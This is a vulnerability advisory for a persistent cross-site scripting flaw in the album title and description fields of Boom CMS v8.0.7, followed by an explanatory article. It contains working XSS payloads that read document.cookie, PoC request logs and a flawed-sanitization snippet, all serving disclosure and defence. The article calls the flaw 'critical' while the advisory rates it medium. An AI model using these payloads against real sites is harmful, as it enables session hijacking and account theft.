Boom CMS v8.0.7 - Cross Site Scripting

Exploit Author: Vulnerability-Lab Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-07-20
# Exploit Title: Boom CMS v8.0.7 - Cross Site Scripting
References (Source): https://www.vulnerability-lab.com/get_content.php?id=2274
Release Date: 2023-07-03
Vulnerability Laboratory ID (VL-ID): 2274

Product & Service Introduction:
===============================
Boom is a fully featured, easy to use CMS. More than 10 years, and many versions later, Boom is an intuitive, WYSIWYG CMS that makes life
easy for content editors and website managers. Working with BoomCMS is simple. It's easy and quick to learn and start creating content.
It gives editors control but doesn't require any technical knowledge.

(Copy of the Homepage:https://www.boomcms.net/boom-boom )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Boom CMS v8.0.7 web-application.


Affected Product(s):
====================
UXB London
Product: Boom v8.0.7 - Content Management System (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2022-07-24: Researcher Notification & Coordination (Security Researcher)
2022-07-25: Vendor Notification (Security Department)
2023-**-**: Vendor Response/Feedback (Security Department)
2023-**-**: Vendor Fix/Patch (Service Developer Team)
2023-**-**: Security Acknowledgements (Security Department)
2023-07-03: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent script code injection web vulnerability has been discovered in the official Boom CMS v8.0.7 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The vulnerability is located in the input fields of the album title and album description in the asset-manager module.
Attackers with low privileges are able to add own malformed albums with malicious script code in the title and description.
After the inject the albums are being displayed in the backend were the execute takes place on preview of the main assets.
The attack vector of the vulnerability is persistent and the request method to inject is post. The validation tries to parse
the content by usage of a backslash. Thus does not have any impact to inject own malicious
java-scripts because of its only performed for double- and single-quotes to prevent sql injections.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] assets-manager (album)

Vulnerable Function(s):
[+] add

Vulnerable Parameter(s):
[+] title
[+] description

Affected Module(s):
[+] Frontend (Albums)
[+] Backend (Albums Assets)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Login to the application as restricted user
2. Create a new album
3. Inject a test script code payload to title and description
4. Save the request
5. Preview frontend (albums) and backend (assets-manager & albums listing) to provoke the execution
6. Successful reproduce of the persistent cross site web vulnerability!


Payload(s):
><script>alert(document.cookie)</script><div style=1
<a onmouseover=alert(document.cookie)>test</a>


--- PoC Session Logs (Inject) ---
https://localhost:8000/boomcms/album/35
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 263
Origin:https://localhost:8000
Connection: keep-alive
Referer:https://localhost:8000/boomcms/asset-manager/albums/[evil.source]
Sec-Fetch-Site: same-origin
{"asset_count":1,"id":35,"name":""><[INJECTED SCRIPT CODE PAYLOAD 1!]>","description":""><[INJECTED SCRIPT CODE PAYLOAD 2!]>",
"slug":"a","order":null,"site_id":1,"feature_image_id":401,"created_by":9,"deleted_by"
:null,"deleted_at":null,"created_at":"2021-xx-xx xx:x:x","updated_at":"2021-xx-xx xx:x:x"}
-
PUT: HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache, private
Set-Cookie: Max-Age=7200; path=/
Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF
VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY
yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;
Max-Age=7200; path=/; httponly
Content-Length: 242
Connection: Keep-Alive
Content-Type: application/json
-
https://localhost:8000/boomcms/asset-manager/albums/[evil.source]
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF
VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY
yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;
-
GET: HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache, private
Set-Cookie:
Vary: Accept-Encoding
Content-Length: 7866
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-


Vulnerable Source: asset-manager/albums/[ID]

<li data-album="36">
<a href="#albums/20">
<div>
<h3>[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]</h3>
<p class="description">"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p>
<p class='count'><span>0</span> assets</p>
</div>
</a>
</li>
</iframe></p></div></a></li></ul></div></div>
</div>

<div id="b-assets-view-asset-container"></div>
<div id="b-assets-view-selection-container"></div>
<div id="b-assets-view-album-container"><div><div id="b-assets-view-album">
<div class="heading">
<h1 class="bigger b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]></h1>
<p class="description b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p>
</div>


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable title and description parameters.
Restrict the input fields and disallow usage of special chars. Sanitize the output listing location to prevent further attacks.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Boom CMS v8.0.7 Cross-Site Scripting Vulnerability: A Deep Dive into Persistent XSS Risks

Security researchers at the Vulnerability Laboratory have uncovered a critical persistent cross-site scripting (XSS) flaw in Boom CMS v8.0.7, a widely used content management system designed for ease of use and rapid content creation. This vulnerability, identified as VL-ID 2274, poses a significant risk to organizations relying on the platform for managing digital assets, particularly in environments where user privileges are limited but still allow content creation.

Understanding the Vulnerability

The flaw lies in the asset-manager module of Boom CMS, specifically within the album title and album description input fields. These fields are intended for user-generated metadata but lack proper sanitization of script content, allowing malicious code to be stored and executed persistently across sessions.

Attackers with low user privileges—such as standard content editors—can exploit this flaw by submitting specially crafted input containing JavaScript payloads. Once saved, the malicious code executes whenever the album is previewed in the backend interface, compromising the integrity of browser sessions.

Exploitation Mechanism

Attackers leverage the POST method to inject malicious scripts into the album fields. For example, an attacker could submit the following payload:


<script>alert('XSS Detected');document.cookie='session_token=malicious';</script>

This code, when stored in the album description, is rendered directly in the browser without proper escaping. Since the application only attempts to sanitize input by escaping single- and double-quotes (likely to prevent SQL injection), it fails to detect or neutralize script tags, making the vulnerability exploitable.

Why the Defense Failed

Boom CMS employs a simplistic validation mechanism that relies on backslash escaping for quotes:


// Example flawed validation logic
function sanitizeInput(input) {
    return input.replace(/'/g, "\\'").replace(/"/g, "\\\"");
}

While this approach prevents some forms of SQL injection, it does not address HTML or script injection. As a result, script tags like <script> remain unaltered and are rendered directly in the browser context, leading to full exploitation of the XSS vector.

Impact and Consequences

Successful exploitation of this vulnerability can lead to:

  • Session hijacking via theft of authentication cookies.
  • Phishing attacks through malicious redirects or fake login forms.
  • Malware delivery via embedded scripts that download payloads from remote servers.
  • Privilege escalation if combined with other vulnerabilities (e.g., CSRF).

Because the vulnerability is persistent, the malicious code remains stored in the database and executes every time the album is viewed—making it a high-risk threat for long-term compromise.

Authentication and User Interaction

The attack requires restricted authentication, meaning only users with basic editing rights can trigger the exploit. However, the low user interaction requirement means that attackers need only submit a single malformed form entry to achieve persistent execution.

Timeline and Disclosure

Phase Date Outcome
Researcher Notification 2022-07-24 Initial vulnerability detection
Vendor Notification 2022-07-25 Security team alerted
Vendor Response 2023-**-** Delayed feedback
Vendor Fix 2023-**-** Patch development
Security Acknowledgement 2023-**-** Vendor confirmation
Public Disclosure 2023-07-03 Responsible disclosure published

Despite the responsible disclosure timeline, the lack of timely patching underscores the importance of proactive security audits and timely vendor responses in maintaining software integrity.

Recommendations and Mitigation Strategies

For administrators and developers using Boom CMS, the following measures are critical:

  • Implement strict input sanitization using libraries like DOMPurify or OWASP ESAPI.
  • Validate and escape all HTML and script tags before storing or rendering.
  • Use Content Security Policy (CSP) headers to block inline scripts.
  • Restrict user privileges for asset creation to only trusted roles.
  • Regularly audit stored content for malicious payloads.

Additionally, organizations should consider upgrading to a patched version of Boom CMS as soon as the fix is released.

Expert Insight: The Broader Implication

This vulnerability highlights a recurring issue in modern CMS platforms: the prioritization of usability over security. While Boom CMS aims to be intuitive and accessible, this design philosophy can inadvertently create attack surfaces for persistent XSS. As web applications become more complex, developers must balance ease of use with robust input validation.

Security experts emphasize that no input field should be trusted—even those labeled "metadata" or "description." Every user input must undergo rigorous sanitization, regardless of intended use. The failure to do so in Boom CMS serves as a cautionary tale for all software developers.

Ultimately, this flaw demonstrates that even low-privilege users can become vectors for high-impact attacks when proper security controls are absent. Continuous monitoring, timely patching, and responsible disclosure remain essential pillars of modern cybersecurity.